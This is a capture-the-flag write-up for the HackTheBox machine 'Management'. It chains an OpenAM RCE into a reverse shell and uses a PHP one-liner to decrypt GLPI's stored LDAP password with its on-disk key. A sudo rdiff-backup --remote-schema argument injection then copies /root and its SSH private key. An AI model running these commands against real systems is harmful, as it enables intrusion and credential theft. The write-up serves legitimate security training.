hackthebox · writeup
Management
Overview
OpenAM 16.0.5 SSO → RCE (CVE-2026-33439) → service shell → GLPI DB creds →
libsodium decrypt (glpicrypt.key) → owen's password → SSH (user) →
sudo rdiff-backup (--remote-schema injection) → /root → id_ed25519 → root
1. Recon
Exposed services: 22 (SSH), 80 (HTTP), 443 (HTTPS). Nmap reveals the virtual hosts management.htb and sso.management.htb — add both to /etc/hosts.
2. Web enumeration
management.htbis a static landing page with nothing useful.- The “Client login” link redirects to
sso.management.htb, an OpenAM login portal. Default credentials fail. - The page source leaks the version: OpenAM 16.0.5.
3. Foothold — OpenAM RCE
- OpenAM 16.0.5 maps to CVE-2026-33439 (advisory
GHSA-2cqq-rpvq-g5qj). - Public PoC:
infernosalex/CVE-2026-33439-Python-PoC. - The payload is a named-pipe reverse shell (
mkfifo+nc); catch it with anclistener on yourtun0IP. - Stabilise the shell:
python3 -c 'import pty; pty.spawn("/bin/bash")' # Ctrl-Z stty raw -echo; fg
4. Post-exploitation enumeration
- LinPEAS (run from
/tmp) flags GLPI and OpenAM config files under/opt. - MySQL is listening locally on
127.0.0.1:3306.
5. Credential harvesting (GLPI)
- The GLPI config under
/opt/glpi/configholds the database credentials (DBglpidb, userglpi). - Interesting tables:
glpi_users,glpi_authldaps,glpi_authmails,glpi_mailcollectors. glpi_authldapshas a “Management Directory” entry with an encrypted bind password.- GLPI encrypts these values with libsodium XChaCha20-Poly1305. The 52-byte blob splits into a 24-byte nonce followed by the ciphertext + MAC.
6. Decrypt → owen’s password
- The key lives at
/opt/glpi/config/glpicrypt.key. - Recover the plaintext with a short PHP one-liner (logic mirrors
GLPIKey.php, branch 11.0 of the glpi-project repo):<?php $key = trim(file_get_contents('/opt/glpi/config/glpicrypt.key')); $blob = base64_decode('<ciphertext_from_db>'); $nonce = substr($blob, 0, 24); $cipher = substr($blob, 24); echo sodium_crypto_aead_xchacha20poly1305_ietf_decrypt($cipher, '', $nonce, $key), "\n"; - The recovered password works for SSH as
owen→ user flag.
7. Privilege escalation — rdiff-backup --remote-schema
sudo -l for owen:
(root) NOPASSWD: /usr/bin/rdiff-backup --server --restrict-path /opt/backup --restrict-mode read-only *
The target runs rdiff-backup 2.2.6, so the remote-schema placeholder is {h} (not the older %s) and the client uses the backup action verb.
The trick. The trailing * in the sudoers rule lets us append arbitrary arguments. The host portion of a remote path (host::path) is substituted into {h} unquoted, so we can smuggle a second --restrict-path / that overrides the intended /opt/backup (last one wins) — while keeping the exact prefix the sudoers rule requires:
rdiff-backup \
--remote-schema 'sudo /usr/bin/rdiff-backup --server --restrict-path /opt/backup --restrict-mode read-only {h}' \
backup '--restrict-path / --restrict-mode read-only'::/root /tmp/root_backup
This mirrors /root into /tmp/root_backup (now readable as owen), exposing root.txt and .ssh/id_ed25519. Log in with the key:
ssh -i id_ed25519 root@<target> # uid=0(root)
Lessons
--remote-schemais argument/command injection whenever the{h}/host field is unsanitised; combined with a wildcard in sudoers it’s a clean root.- Mind the binary version before building the payload:
%s(rdiff-backup 1.x) vs{h}(2.x). - Recurring pattern: an encrypted secret in a DB + its key on disk + the app’s own source showing how to decrypt it.
References
- Base writeup: https://hackmd.io/@tranmanhtan/H1W_mzTFzx
- rdiff-backup docs / GTFOBins —
--remote-schema